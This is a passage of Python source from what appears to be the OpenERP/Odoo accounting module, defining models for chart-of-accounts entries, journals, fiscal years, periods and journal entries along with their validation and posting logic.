'Outgoing Currencies Rate', help= 'This will select how the current currency rate for outgoing transactions is computed. '\ 'In most countries the legal method is "average" but only a few software systems are able to '\ 'manage this. So if you import from another software system you may have to use the rate at date. ' \ 'Incoming transactions always use the rate at date.', \ required=True), 'level': fields.function(_get_level, string='Level', method=True, type='integer', store={ 'account.account': (_get_children_and_consol, ['level', 'parent_id'], 10), }), } _defaults = { 'type': 'other', 'reconcile': False, 'active': True, 'currency_mode': 'current', 'company_id': lambda s, cr, uid, c: s.pool.get('res.company')._company_default_get(cr, uid, 'account.account', context=c), } def _check_recursion(self, cr, uid, ids, context=None): obj_self = self.browse(cr, uid, ids[0], context=context) p_id = obj_self.parent_id and obj_self.parent_id.id if (obj_self in obj_self.child_consol_ids) or (p_id and (p_id is obj_self.id)): return False while(ids): cr.execute('SELECT DISTINCT child_id '\ 'FROM account_account_consol_rel '\ 'WHERE parent_id IN %s', (tuple(ids),)) child_ids = map(itemgetter(0), cr.fetchall()) c_ids = child_ids if (p_id and (p_id in c_ids)) or (obj_self.id in c_ids): return False while len(c_ids): s_ids = self.search(cr, uid, [('parent_id', 'in', c_ids)]) if p_id and (p_id in s_ids): return False c_ids = s_ids ids = child_ids return True def _check_type(self, cr, uid, ids, context=None): if context is None: context = {} accounts = self.browse(cr, uid, ids, context=context) for account in accounts: if account.child_id and account.type not in ('view', 'consolidation'): return False return True def _check_account_type(self, cr, uid, ids, context=None): for account in self.browse(cr, uid, ids, context=context): if account.type in ('receivable', 'payable') and account.user_type.close_method != 'unreconciled': return False return True def _check_company_account(self, cr, uid, ids, context=None): for account in self.browse(cr, uid, ids, context=context): if account.parent_id: if account.company_id != account.parent_id.company_id: return False return True _constraints = [ (_check_recursion, 'Error!\nYou cannot create recursive accounts.', ['parent_id']), (_check_type, 'Configuration Error!\nYou cannot define children to an account with internal type different of "View".', ['type']), (_check_account_type, 'Configuration Error!\nYou cannot select an account type with a deferral method different of "Unreconciled" for accounts with internal type "Payable/Receivable".', ['user_type','type']), (_check_company_account, 'Error!\nYou cannot create an account which has parent account of different company.', ['parent_id']), ] _sql_constraints = [ ('code_company_uniq', 'unique (code,company_id)', 'The code of the account must be unique per company !') ] def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=100): if not args: args = [] args = args[:] ids = [] try: if name and str(name).startswith('partner:'): part_id = int(name.split(':')[1]) part = self.pool.get('res.partner').browse(cr, user, part_id, context=context) args += [('id', 'in', (part.property_account_payable.id, part.property_account_receivable.id))] name = False if name and str(name).startswith('type:'): type = name.split(':')[1] args += [('type', '=', type)] name = False except: pass if name: if operator not in expression.NEGATIVE_TERM_OPERATORS: plus_percent = lambda n: n+'%' code_op, code_conv = { 'ilike': ('=ilike', plus_percent), 'like': ('=like', plus_percent), }.get(operator, (operator, lambda n: n)) ids = self.search(cr, user, ['|', ('code', code_op, code_conv(name)), '|', ('shortcut', '=', name), ('name', operator, name)]+args, limit=limit) if not ids and len(name.split()) >= 2: #Separating code and name of account for searching operand1,operand2 = name.split(' ',1) #name can contain spaces e.g. OpenERP S.A. ids = self.search(cr, user, [('code', operator, operand1), ('name', operator, operand2)]+ args, limit=limit) else: ids = self.search(cr, user, ['&','!', ('code', '=like', name+"%"), ('name', operator, name)]+args, limit=limit) # as negation want to restric, do if already have results if ids and len(name.split()) >= 2: operand1,operand2 = name.split(' ',1) #name can contain spaces e.g. OpenERP S.A. ids = self.search(cr, user, [('code', operator, operand1), ('name', operator, operand2), ('id', 'in', ids)]+ args, limit=limit) else: ids = self.search(cr, user, args, context=context, limit=limit) return self.name_get(cr, user, ids, context=context) def name_get(self, cr, uid, ids, context=None): if not ids: return [] if isinstance(ids, (int, long)): ids = [ids] reads = self.read(cr, uid, ids, ['name', 'code'], context=context) res = [] for record in reads: name = record['name'] if record['code']: name = record['code'] + ' ' + name res.append((record['id'], name)) return res def copy(self, cr, uid, id, default=None, context=None, done_list=None, local=False): default = {} if default is None else default.copy() if done_list is None: done_list = [] account = self.browse(cr, uid, id, context=context) new_child_ids = [] default.update(code=_("%s (copy)") % (account['code'] or '')) if not local: done_list = [] if account.id in done_list: return False done_list.append(account.id) if account: for child in account.child_id: child_ids = self.copy(cr, uid, child.id, default, context=context, done_list=done_list, local=True) if child_ids: new_child_ids.append(child_ids) default['child_parent_ids'] = [(6, 0, new_child_ids)] else: default['child_parent_ids'] = False return super(account_account, self).copy(cr, uid, id, default, context=context) def _check_moves(self, cr, uid, ids, method, context=None): line_obj = self.pool.get('account.move.line') account_ids = self.search(cr, uid, [('id', 'child_of', ids)], context=context) if line_obj.search(cr, uid, [('account_id', 'in', account_ids)], context=context): if method == 'write': raise osv.except_osv(_('Error!'), _('You cannot deactivate an account that contains journal items.')) elif method == 'unlink': raise osv.except_osv(_('Error!'), _('You cannot remove an account that contains journal items.')) #Checking whether the account is set as a property to any Partner or not values = ['account.account,%s' % (account_id,) for account_id in ids] partner_prop_acc = self.pool.get('ir.property').search(cr, uid, [('value_reference','in', values)], context=context) if partner_prop_acc: raise osv.except_osv(_('Warning!'), _('You cannot remove/deactivate an account which is set on a customer or supplier.')) return True def _check_allow_type_change(self, cr, uid, ids, new_type, context=None): restricted_groups = ['consolidation','view'] line_obj = self.pool.get('account.move.line') for account in self.browse(cr, uid, ids, context=context): old_type = account.type account_ids = self.search(cr, uid, [('id', 'child_of', [account.id])]) if line_obj.search(cr, uid, [('account_id', 'in', account_ids)]): #Check for 'Closed' type if old_type == 'closed' and new_type !='closed': raise osv.except_osv(_('Warning!'), _("You cannot change the type of account from 'Closed' to any other type as it contains journal items!")) # Forbid to change an account type for restricted_groups as it contains journal items (or if one of its children does) if (new_type in restricted_groups): raise osv.except_osv(_('Warning!'), _("You cannot change the type of account to '%s' type as it contains journal items!") % (new_type,)) return True # For legal reason (forbiden to modify journal entries which belongs to a closed fy or period), Forbid to modify # the code of an account if journal entries have been already posted on this account. This cannot be simply # 'configurable' since it can lead to a lack of confidence in Odoo and this is what we want to change. def _check_allow_code_change(self, cr, uid, ids, context=None): line_obj = self.pool.get('account.move.line') for account in self.browse(cr, uid, ids, context=context): account_ids = self.search(cr, uid, [('id', 'child_of', [account.id])], context=context) if line_obj.search(cr, uid, [('account_id', 'in', account_ids)], context=context): raise osv.except_osv(_('Warning !'), _("You cannot change the code of account which contains journal items!")) return True def write(self, cr, uid, ids, vals, context=None): if context is None: context = {} if not ids: return True if isinstance(ids, (int, long)): ids = [ids] # Dont allow changing the company_id when account_move_line already exist if 'company_id' in vals: move_lines = self.pool.get('account.move.line').search(cr, uid, [('account_id', 'in', ids)], context=context) if move_lines: # Allow the write if the value is the same for i in [i['company_id'][0] for i in self.read(cr,uid,ids,['company_id'], context=context)]: if vals['company_id']!=i: raise osv.except_osv(_('Warning!'), _('You cannot change the owner company of an account that already contains journal items.')) if 'active' in vals and not vals['active']: self._check_moves(cr, uid, ids, "write", context=context) if 'type' in vals.keys(): self._check_allow_type_change(cr, uid, ids, vals['type'], context=context) if 'code' in vals.keys(): self._check_allow_code_change(cr, uid, ids, context=context) return super(account_account, self).write(cr, uid, ids, vals, context=context) def unlink(self, cr, uid, ids, context=None): self._check_moves(cr, uid, ids, "unlink", context=context) return super(account_account, self).unlink(cr, uid, ids, context=context) class account_journal(osv.osv): _name = "account.journal" _description = "Journal" _columns = { 'with_last_closing_balance': fields.boolean('Opening With Last Closing Balance', help="For cash or bank journal, this option should be unchecked when the starting balance should always set to 0 for new documents."), 'name': fields.char('Journal Name', required=True), 'code': fields.char('Code', size=5, required=True, help="The code will be displayed on reports."), 'type': fields.selection([('sale', 'Sale'),('sale_refund','Sale Refund'), ('purchase', 'Purchase'), ('purchase_refund','Purchase Refund'), ('cash', 'Cash'), ('bank', 'Bank and Checks'), ('general', 'General'), ('situation', 'Opening/Closing Situation')], 'Type', size=32, required=True, help="Select 'Sale' for customer invoices journals."\ " Select 'Purchase' for supplier invoices journals."\ " Select 'Cash' or 'Bank' for journals that are used in customer or supplier payments."\ " Select 'General' for miscellaneous operations journals."\ " Select 'Opening/Closing Situation' for entries generated for new fiscal years."), 'type_control_ids': fields.many2many('account.account.type', 'account_journal_type_rel', 'journal_id','type_id', 'Type Controls', domain=[('code','<>','view'), ('code', '<>', 'closed')]), 'account_control_ids': fields.many2many('account.account', 'account_account_type_rel', 'journal_id','account_id', 'Account', domain=[('type','<>','view'), ('type', '<>', 'closed')]), 'default_credit_account_id': fields.many2one('account.account', 'Default Credit Account', domain="[('type','!=','view')]", help="It acts as a default account for credit amount"), 'default_debit_account_id': fields.many2one('account.account', 'Default Debit Account', domain="[('type','!=','view')]", help="It acts as a default account for debit amount"), 'centralisation': fields.boolean('Centralized Counterpart', help="Check this box to determine that each entry of this journal won't create a new counterpart but will share the same counterpart. This is used in fiscal year closing."), 'update_posted': fields.boolean('Allow Cancelling Entries', help="Check this box if you want to allow the cancellation the entries related to this journal or of the invoice related to this journal"), 'group_invoice_lines': fields.boolean('Group Invoice Lines', help="If this box is checked, the system will try to group the accounting lines when generating them from invoices."), 'sequence_id': fields.many2one('ir.sequence', 'Entry Sequence', help="This field contains the information related to the numbering of the journal entries of this journal.", required=True, copy=False), 'user_id': fields.many2one('res.users', 'User', help="The user responsible for this journal"), 'groups_id': fields.many2many('res.groups', 'account_journal_group_rel', 'journal_id', 'group_id', 'Groups'), 'currency': fields.many2one('res.currency', 'Currency', help='The currency used to enter statement'), 'entry_posted': fields.boolean('Autopost Created Moves', help='Check this box to automatically post entries of this journal. Note that legally, some entries may be automatically posted when the source document is validated (Invoices), whatever the status of this field.'), 'company_id': fields.many2one('res.company', 'Company', required=True, select=1, help="Company related to this journal"), 'allow_date':fields.boolean('Check Date in Period', help= 'If checked, the entry won\'t be created if the entry date is not included into the selected period'), 'profit_account_id' : fields.many2one('account.account', 'Profit Account'), 'loss_account_id' : fields.many2one('account.account', 'Loss Account'), 'internal_account_id' : fields.many2one('account.account', 'Internal Transfers Account', select=1), 'cash_control' : fields.boolean('Cash Control', help='If you want the journal should be control at opening/closing, check this option'), } _defaults = { 'cash_control' : False, 'with_last_closing_balance' : True, 'user_id': lambda self, cr, uid, context: uid, 'company_id': lambda self, cr, uid, c: self.pool.get('res.users').browse(cr, uid, uid, c).company_id.id, } _sql_constraints = [ ('code_company_uniq', 'unique (code, company_id)', 'The code of the journal must be unique per company !'), ('name_company_uniq', 'unique (name, company_id)', 'The name of the journal must be unique per company !'), ] _order = 'code' def _check_currency(self, cr, uid, ids, context=None): for journal in self.browse(cr, uid, ids, context=context): if journal.currency: if journal.default_credit_account_id and not journal.default_credit_account_id.currency_id.id == journal.currency.id: return False if journal.default_debit_account_id and not journal.default_debit_account_id.currency_id.id == journal.currency.id: return False return True _constraints = [ (_check_currency, 'Configuration error!\nThe currency chosen should be shared by the default accounts too.', ['currency','default_debit_account_id','default_credit_account_id']), ] def copy(self, cr, uid, id, default=None, context=None): default = dict(context or {}) journal = self.browse(cr, uid, id, context=context) default.update( code=_("%s (copy)") % (journal['code'] or ''), name=_("%s (copy)") % (journal['name'] or '')) return super(account_journal, self).copy(cr, uid, id, default, context=context) def write(self, cr, uid, ids, vals, context=None): if context is None: context = {} if isinstance(ids, (int, long)): ids = [ids] for journal in self.browse(cr, uid, ids, context=context): if 'company_id' in vals and journal.company_id.id != vals['company_id']: move_lines = self.pool.get('account.move.line').search(cr, uid, [('journal_id', 'in', ids)]) if move_lines: raise osv.except_osv(_('Warning!'), _('This journal already contains items, therefore you cannot modify its company field.')) return super(account_journal, self).write(cr, uid, ids, vals, context=context) def create_sequence(self, cr, uid, vals, context=None): """ Create new no_gap entry sequence for every new Joural """ # in account.journal code is actually the prefix of the sequence # whereas ir.sequence code is a key to lookup global sequences. prefix = vals['code'].upper() seq = { 'name': vals['name'], 'implementation':'no_gap', 'prefix': prefix + "/%(year)s/", 'padding': 4, 'number_increment': 1 } if 'company_id' in vals: seq['company_id'] = vals['company_id'] return self.pool.get('ir.sequence').create(cr, uid, seq) def create(self, cr, uid, vals, context=None): if not 'sequence_id' in vals or not vals['sequence_id']: # if we have the right to create a journal, we should be able to # create it's sequence. vals.update({'sequence_id': self.create_sequence(cr, SUPERUSER_ID, vals, context)}) return super(account_journal, self).create(cr, uid, vals, context) def name_get(self, cr, user, ids, context=None): """ Returns a list of tupples containing id, name. result format: {[(id, name), (id, name), ...]} @param cr: A database cursor @param user: ID of the user currently logged in @param ids: list of ids for which name should be read @param context: context arguments, like lang, time zone @return: Returns a list of tupples containing id, name """ if not ids: return [] if isinstance(ids, (int, long)): ids = [ids] result = self.browse(cr, user, ids, context=context) res = [] for rs in result: if rs.currency: currency = rs.currency else: currency = rs.company_id.currency_id name = "%s (%s)" % (rs.name, currency.name) res += [(rs.id, name)] return res def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=100): if not args: args = [] if operator in expression.NEGATIVE_TERM_OPERATORS: domain = [('code', operator, name), ('name', operator, name)] else: domain = ['|', ('code', operator, name), ('name', operator, name)] ids = self.search(cr, user, expression.AND([domain, args]), limit=limit, context=context) return self.name_get(cr, user, ids, context=context) class account_fiscalyear(osv.osv): _name = "account.fiscalyear" _description = "Fiscal Year" _columns = { 'name': fields.char('Fiscal Year', required=True), 'code': fields.char('Code', size=6, required=True), 'company_id': fields.many2one('res.company', 'Company', required=True), 'date_start': fields.date('Start Date', required=True), 'date_stop': fields.date('End Date', required=True), 'period_ids': fields.one2many('account.period', 'fiscalyear_id', 'Periods'), 'state': fields.selection([('draft','Open'), ('done','Closed')], 'Status', readonly=True, copy=False), 'end_journal_period_id': fields.many2one( 'account.journal.period', 'End of Year Entries Journal', readonly=True, copy=False), } _defaults = { 'state': 'draft', 'company_id': lambda self,cr,uid,c: self.pool.get('res.users').browse(cr, uid, uid, c).company_id.id, } _order = "date_start, id" def _check_duration(self, cr, uid, ids, context=None): obj_fy = self.browse(cr, uid, ids[0], context=context) if obj_fy.date_stop < obj_fy.date_start: return False return True _constraints = [ (_check_duration, 'Error!\nThe start date of a fiscal year must precede its end date.', ['date_start','date_stop']) ] def create_period3(self, cr, uid, ids, context=None): return self.create_period(cr, uid, ids, context, 3) def create_period(self, cr, uid, ids, context=None, interval=1): period_obj = self.pool.get('account.period') for fy in self.browse(cr, uid, ids, context=context): ds = datetime.strptime(fy.date_start, '%Y-%m-%d') period_obj.create(cr, uid, { 'name': "%s %s" % (_('Opening Period'), ds.strftime('%Y')), 'code': ds.strftime('00/%Y'), 'date_start': ds, 'date_stop': ds, 'special': True, 'fiscalyear_id': fy.id, }) while ds.strftime('%Y-%m-%d') < fy.date_stop: de = ds + relativedelta(months=interval, days=-1) if de.strftime('%Y-%m-%d') > fy.date_stop: de = datetime.strptime(fy.date_stop, '%Y-%m-%d') period_obj.create(cr, uid, { 'name': ds.strftime('%m/%Y'), 'code': ds.strftime('%m/%Y'), 'date_start': ds.strftime('%Y-%m-%d'), 'date_stop': de.strftime('%Y-%m-%d'), 'fiscalyear_id': fy.id, }) ds = ds + relativedelta(months=interval) return True def find(self, cr, uid, dt=None, exception=True, context=None): res = self.finds(cr, uid, dt, exception, context=context) return res and res[0] or False def finds(self, cr, uid, dt=None, exception=True, context=None): if context is None: context = {} if not dt: dt = fields.date.context_today(self,cr,uid,context=context) args = [('date_start', '<=' ,dt), ('date_stop', '>=', dt)] if context.get('company_id', False): company_id = context['company_id'] else: company_id = self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id.id args.append(('company_id', '=', company_id)) ids = self.search(cr, uid, args, context=context) if not ids: if exception: model, action_id = self.pool['ir.model.data'].get_object_reference(cr, uid, 'account', 'action_account_fiscalyear') msg = _('There is no period defined for this date: %s.\nPlease go to Configuration/Periods and configure a fiscal year.') % dt raise openerp.exceptions.RedirectWarning(msg, action_id, _('Go to the configuration panel')) else: return [] return ids def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=80): if args is None: args = [] if operator in expression.NEGATIVE_TERM_OPERATORS: domain = [('code', operator, name), ('name', operator, name)] else: domain = ['|', ('code', operator, name), ('name', operator, name)] ids = self.search(cr, user, expression.AND([domain, args]), limit=limit, context=context) return self.name_get(cr, user, ids, context=context) class account_period(osv.osv): _name = "account.period" _description = "Account period" _columns = { 'name': fields.char('Period Name', required=True), 'code': fields.char('Code', size=12), 'special': fields.boolean('Opening/Closing Period',help="These periods can overlap."), 'date_start': fields.date('Start of Period', required=True, states={'done':[('readonly',True)]}), 'date_stop': fields.date('End of Period', required=True, states={'done':[('readonly',True)]}), 'fiscalyear_id': fields.many2one('account.fiscalyear', 'Fiscal Year', required=True, states={'done':[('readonly',True)]}, select=True), 'state': fields.selection([('draft','Open'), ('done','Closed')], 'Status', readonly=True, copy=False, help='When monthly periods are created. The status is \'Draft\'. At the end of monthly period it is in \'Done\' status.'), 'company_id': fields.related('fiscalyear_id', 'company_id', type='many2one', relation='res.company', string='Company', store=True, readonly=True) } _defaults = { 'state': 'draft', } _order = "date_start, special desc" _sql_constraints = [ ('name_company_uniq', 'unique(name, company_id)', 'The name of the period must be unique per company!'), ] def _check_duration(self,cr,uid,ids,context=None): obj_period = self.browse(cr, uid, ids[0], context=context) if obj_period.date_stop < obj_period.date_start: return False return True def _check_year_limit(self,cr,uid,ids,context=None): for obj_period in self.browse(cr, uid, ids, context=context): if obj_period.special: continue if obj_period.fiscalyear_id.date_stop < obj_period.date_stop or \ obj_period.fiscalyear_id.date_stop < obj_period.date_start or \ obj_period.fiscalyear_id.date_start > obj_period.date_start or \ obj_period.fiscalyear_id.date_start > obj_period.date_stop: return False pids = self.search(cr, uid, [('date_stop','>=',obj_period.date_start),('date_start','<=',obj_period.date_stop),('special','=',False),('id','<>',obj_period.id)]) for period in self.browse(cr, uid, pids): if period.fiscalyear_id.company_id.id==obj_period.fiscalyear_id.company_id.id: return False return True _constraints = [ (_check_duration, 'Error!\nThe duration of the Period(s) is/are invalid.', ['date_stop']), (_check_year_limit, 'Error!\nThe period is invalid. Either some periods are overlapping or the period\'s dates are not matching the scope of the fiscal year.', ['date_stop']) ] @api.returns('self') def next(self, cr, uid, period, step, context=None): ids = self.search(cr, uid, [('date_start','>',period.date_start)]) if len(ids)>=step: return ids[step-1] return False @api.returns('self') def find(self, cr, uid, dt=None, context=None): if context is None: context = {} if not dt: dt = fields.date.context_today(self, cr, uid, context=context) args = [('date_start', '<=' ,dt), ('date_stop', '>=', dt)] if context.get('company_id', False): args.append(('company_id', '=', context['company_id'])) else: company_id = self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id.id args.append(('company_id', '=', company_id)) result = [] if context.get('account_period_prefer_normal', True): # look for non-special periods first, and fallback to all if no result is found result = self.search(cr, uid, args + [('special', '=', False)], context=context) if not result: result = self.search(cr, uid, args, context=context) if not result: model, action_id = self.pool['ir.model.data'].get_object_reference(cr, uid, 'account', 'action_account_period') msg = _('There is no period defined for this date: %s.\nPlease go to Configuration/Periods.') % dt raise openerp.exceptions.RedirectWarning(msg, action_id, _('Go to the configuration panel')) return result def action_draft(self, cr, uid, ids, context=None): mode = 'draft' for period in self.browse(cr, uid, ids): if period.fiscalyear_id.state == 'done': raise osv.except_osv(_('Warning!'), _('You can not re-open a period which belongs to closed fiscal year')) cr.execute('update account_journal_period set state=%s where period_id in %s', (mode, tuple(ids),)) cr.execute('update account_period set state=%s where id in %s', (mode, tuple(ids),)) self.invalidate_cache(cr, uid, context=context) return True def name_search(self, cr, user, name, args=None, operator='ilike', context=None, limit=100): if args is None: args = [] if operator in expression.NEGATIVE_TERM_OPERATORS: domain = [('code', operator, name), ('name', operator, name)] else: domain = ['|', ('code', operator, name), ('name', operator, name)] ids = self.search(cr, user, expression.AND([domain, args]), limit=limit, context=context) return self.name_get(cr, user, ids, context=context) def write(self, cr, uid, ids, vals, context=None): if 'company_id' in vals: move_lines = self.pool.get('account.move.line').search(cr, uid, [('period_id', 'in', ids)]) if move_lines: raise osv.except_osv(_('Warning!'), _('This journal already contains items for this period, therefore you cannot modify its company field.')) return super(account_period, self).write(cr, uid, ids, vals, context=context) def build_ctx_periods(self, cr, uid, period_from_id, period_to_id): if period_from_id == period_to_id: return [period_from_id] period_from = self.browse(cr, uid, period_from_id) period_date_start = period_from.date_start company1_id = period_from.company_id.id period_to = self.browse(cr, uid, period_to_id) period_date_stop = period_to.date_stop company2_id = period_to.company_id.id if company1_id != company2_id: raise osv.except_osv(_('Error!'), _('You should choose the periods that belong to the same company.')) if period_date_start > period_date_stop: raise osv.except_osv(_('Error!'), _('Start period should precede then end period.')) # /!\ We do not include a criterion on the company_id field below, to allow producing consolidated reports # on multiple companies. It will only work when start/end periods are selected and no fiscal year is chosen. #for period from = january, we want to exclude the opening period (but it has same date_from, so we have to check if period_from is special or not to include that clause or not in the search). if period_from.special: return self.search(cr, uid, [('date_start', '>=', period_date_start), ('date_stop', '<=', period_date_stop)]) return self.search(cr, uid, [('date_start', '>=', period_date_start), ('date_stop', '<=', period_date_stop), ('special', '=', False)]) class account_journal_period(osv.osv): _name = "account.journal.period" _description = "Journal Period" def _icon_get(self, cr, uid, ids, field_name, arg=None, context=None): result = {}.fromkeys(ids, 'STOCK_NEW') for r in self.read(cr, uid, ids, ['state']): result[r['id']] = { 'draft': 'STOCK_NEW', 'printed': 'STOCK_PRINT_PREVIEW', 'done': 'STOCK_DIALOG_AUTHENTICATION', }.get(r['state'], 'STOCK_NEW') return result _columns = { 'name': fields.char('Journal-Period Name', required=True), 'journal_id': fields.many2one('account.journal', 'Journal', required=True, ondelete="cascade"), 'period_id': fields.many2one('account.period', 'Period', required=True, ondelete="cascade"), 'icon': fields.function(_icon_get, string='Icon', type='char'), 'active': fields.boolean('Active', help="If the active field is set to False, it will allow you to hide the journal period without removing it."), 'state': fields.selection([('draft','Draft'), ('printed','Printed'), ('done','Done')], 'Status', required=True, readonly=True, help='When journal period is created. The status is \'Draft\'. If a report is printed it comes to \'Printed\' status. When all transactions are done, it comes in \'Done\' status.'), 'fiscalyear_id': fields.related('period_id', 'fiscalyear_id', string='Fiscal Year', type='many2one', relation='account.fiscalyear'), 'company_id': fields.related('journal_id', 'company_id', type='many2one', relation='res.company', string='Company', store=True, readonly=True) } def _check(self, cr, uid, ids, context=None): for obj in self.browse(cr, uid, ids, context=context): cr.execute('select * from account_move_line where journal_id=%s and period_id=%s limit 1', (obj.journal_id.id, obj.period_id.id)) res = cr.fetchall() if res: raise osv.except_osv(_('Error!'), _('You cannot modify/delete a journal with entries for this period.')) return True def write(self, cr, uid, ids, vals, context=None): self._check(cr, uid, ids, context=context) return super(account_journal_period, self).write(cr, uid, ids, vals, context=context) def create(self, cr, uid, vals, context=None): period_id = vals.get('period_id',False) if period_id: period = self.pool.get('account.period').browse(cr, uid, period_id, context=context) vals['state']=period.state return super(account_journal_period, self).create(cr, uid, vals, context) def unlink(self, cr, uid, ids, context=None): self._check(cr, uid, ids, context=context) return super(account_journal_period, self).unlink(cr, uid, ids, context=context) _defaults = { 'state': 'draft', 'active': True, } _order = "period_id" #---------------------------------------------------------- # Entries #---------------------------------------------------------- class account_move(osv.osv): _name = "account.move" _description = "Account Entry" _order = 'id desc' def account_assert_balanced(self, cr, uid, context=None): cr.execute("""\ SELECT move_id FROM account_move_line WHERE state = 'valid' GROUP BY move_id HAVING abs(sum(debit) - sum(credit)) > 0.00001 """) assert len(cr.fetchall()) == 0, \ "For all Journal Items, the state is valid implies that the sum " \ "of credits equals the sum of debits" return True def account_move_prepare(self, cr, uid, journal_id, date=False, ref='', company_id=False, context=None): ''' Prepares and returns a dictionary of values, ready to be passed to create() based on the parameters received. ''' if not date: date = fields.date.today() period_obj = self.pool.get('account.period') if not company_id: user = self.pool.get('res.users').browse(cr, uid, uid, context=context) company_id = user.company_id.id if context is None: context = {} #put the company in context to find the good period ctx = context.copy() ctx.update({'company_id': company_id}) return { 'journal_id': journal_id, 'date': date, 'period_id': period_obj.find(cr, uid, date, context=ctx)[0], 'ref': ref, 'company_id': company_id, } def name_get(self, cursor, user, ids, context=None): if isinstance(ids, (int, long)): ids = [ids] if not ids: return [] res = [] data_move = self.pool.get('account.move').browse(cursor, user, ids, context=context) for move in data_move: if move.state=='draft': name = '*' + str(move.id) else: name = move.name res.append((move.id, name)) return res def _get_period(self, cr, uid, context=None): ctx = dict(context or {}) period_ids = self.pool.get('account.period').find(cr, uid, context=ctx) return period_ids[0] def _amount_compute(self, cr, uid, ids, name, args, context, where =''): if not ids: return {} cr.execute( 'SELECT move_id, SUM(debit) '\ 'FROM account_move_line '\ 'WHERE move_id IN %s '\ 'GROUP BY move_id', (tuple(ids),)) result = dict(cr.fetchall()) for id in ids: result.setdefault(id, 0.0) return result def _search_amount(self, cr, uid, obj, name, args, context): ids = set() for cond in args: amount = cond[2] if isinstance(cond[2],(list,tuple)): if cond[1] in ['in','not in']: amount = tuple(cond[2]) else: continue else: if cond[1] in ['=like', 'like', 'not like', 'ilike', 'not ilike', 'in', 'not in', 'child_of']: continue cr.execute("select move_id from account_move_line group by move_id having sum(debit) %s %%s" % (cond[1]),(amount,)) res_ids = set(id[0] for id in cr.fetchall()) ids = ids and (ids & res_ids) or res_ids if ids: return [('id', 'in', tuple(ids))] return [('id', '=', '0')] def _get_move_from_lines(self, cr, uid, ids, context=None): line_obj = self.pool.get('account.move.line') return [line.move_id.id for line in line_obj.browse(cr, uid, ids, context=context)] _columns = { 'name': fields.char('Number', required=True, copy=False), 'ref': fields.char('Reference', copy=False), 'period_id': fields.many2one('account.period', 'Period', required=True, states={'posted':[('readonly',True)]}), 'journal_id': fields.many2one('account.journal', 'Journal', required=True, states={'posted':[('readonly',True)]}), 'state': fields.selection( [('draft','Unposted'), ('posted','Posted')], 'Status', required=True, readonly=True, copy=False, help='All manually created new journal entries are usually in the status \'Unposted\', ' 'but you can set the option to skip that status on the related journal. ' 'In that case, they will behave as journal entries automatically created by the ' 'system on document validation (invoices, bank statements...) and will be created ' 'in \'Posted\' status.'), 'line_id': fields.one2many('account.move.line', 'move_id', 'Entries', states={'posted':[('readonly',True)]}, copy=True), 'to_check': fields.boolean('To Review', help='Check this box if you are unsure of that journal entry and if you want to note it as \'to be reviewed\' by an accounting expert.'), 'partner_id': fields.related('line_id', 'partner_id', type="many2one", relation="res.partner", string="Partner", store={ _name: (lambda self, cr,uid,ids,c: ids, ['line_id'], 10), 'account.move.line': (_get_move_from_lines, ['partner_id'],10) }), 'amount': fields.function(_amount_compute, string='Amount', digits_compute=dp.get_precision('Account'), type='float', fnct_search=_search_amount), 'date': fields.date('Date', required=True, states={'posted':[('readonly',True)]}, select=True), 'narration':fields.text('Internal Note'), 'company_id': fields.related('journal_id','company_id',type='many2one',relation='res.company',string='Company', store=True, readonly=True), 'balance': fields.float('balance', digits_compute=dp.get_precision('Account'), help="This is a field only used for internal purpose and shouldn't be displayed"), } _defaults = { 'name': '/', 'state': 'draft', 'period_id': _get_period, 'date': fields.date.context_today, 'company_id': lambda self, cr, uid, c: self.pool.get('res.users').browse(cr, uid, uid, c).company_id.id, } def _check_centralisation(self, cursor, user, ids, context=None): for move in self.browse(cursor, user, ids, context=context): if move.journal_id.centralisation: move_ids = self.search(cursor, user, [ ('period_id', '=', move.period_id.id), ('journal_id', '=', move.journal_id.id), ]) if len(move_ids) > 1: return False return True _constraints = [ (_check_centralisation, 'You cannot create more than one move per period on a centralized journal.', ['journal_id']), ] def post(self, cr, uid, ids, context=None): if context is None: context = {} invoice = context.get('invoice', False) valid_moves = self.validate(cr, uid, ids, context) if not valid_moves: raise osv.except_osv(_('Error!'), _('You cannot validate a non-balanced entry.\nMake sure you have configured payment terms properly.\nThe latest payment term line should be of the "Balance" type.')) obj_sequence = self.pool.get('ir.sequence') for move in self.browse(cr, uid, valid_moves, context=context): if move.name =='/': new_name = False journal = move.journal_id if invoice and invoice.internal_number: new_name = invoice.internal_number else: if journal.sequence_id: c = {'fiscalyear_id': move.period_id.fiscalyear_id.id} new_name = obj_sequence.next_by_id(cr, uid, journal.sequence_id.id, c) else: raise osv.except_osv(_('Error!'), _('Please define a sequence on the journal.')) if new_name: self.write(cr, uid, [move.id], {'name':new_name}) cr.execute('UPDATE account_move '\ 'SET state=%s '\ 'WHERE id IN %s', ('posted', tuple(valid_moves),)) self.invalidate_cache(cr, uid, context=context) return True def button_validate(self, cursor, user, ids, context=None): for move in self.browse(cursor, user, ids, context=context): # check that all accounts have the same topmost ancestor top_common = None for line in move.line_id: account = line.account_id top_account = account while top_account.parent_id: top_account = top_account.parent_id if not top_common: top_common = top_account elif top_account.id != top_common.id: raise osv.except_osv(_('Error!'), _('You cannot validate this journal entry because account "%s" does not belong to chart of accounts "%s".') % (account.name, top_common.name)) return self.post(cursor, user, ids, context=context) def button_cancel(self, cr, uid, ids, context=None): for line in self.browse(cr, uid, ids, context=context): if not line.journal_id.update_posted: raise osv.except_osv(_('Error!'), _('You cannot modify a posted entry of this journal.\nFirst you should set the journal to allow cancelling entries.')) if ids: cr.execute('UPDATE account_move '\ 'SET state=%s '\ 'WHERE id IN %s', ('draft', tuple(ids),)) self.invalidate_cache(cr, uid, context=context) return True def write(self, cr, uid, ids, vals, context=None): if context is None: context = {} c = context.copy() c['novalidate'] = True result = super(account_move, self).write(cr, uid, ids, vals, c) self.validate(cr, uid, ids, context=context) return result def create(self, cr, uid, vals, context=None): context = dict(context or {}) if vals.get('line_id'): if vals.get('journal_id'): for l in vals['line_id']: if not l[0]: l[2]['journal_id'] = vals['journal_id'] context['journal_id'] = vals['journal_id'] if 'period_id' in vals: for l in vals['line_id']: if not l[0]: l[2]['period_id'] = vals['period_id'] context['period_id'] = vals['period_id'] else: default_period = self._get_period(cr, uid, context) for l in vals['line_id']: if not l[0]: l[2]['period_id'] = default_period context['period_id'] = default_period c = context.copy() c['novalidate'] = True c['period_id'] 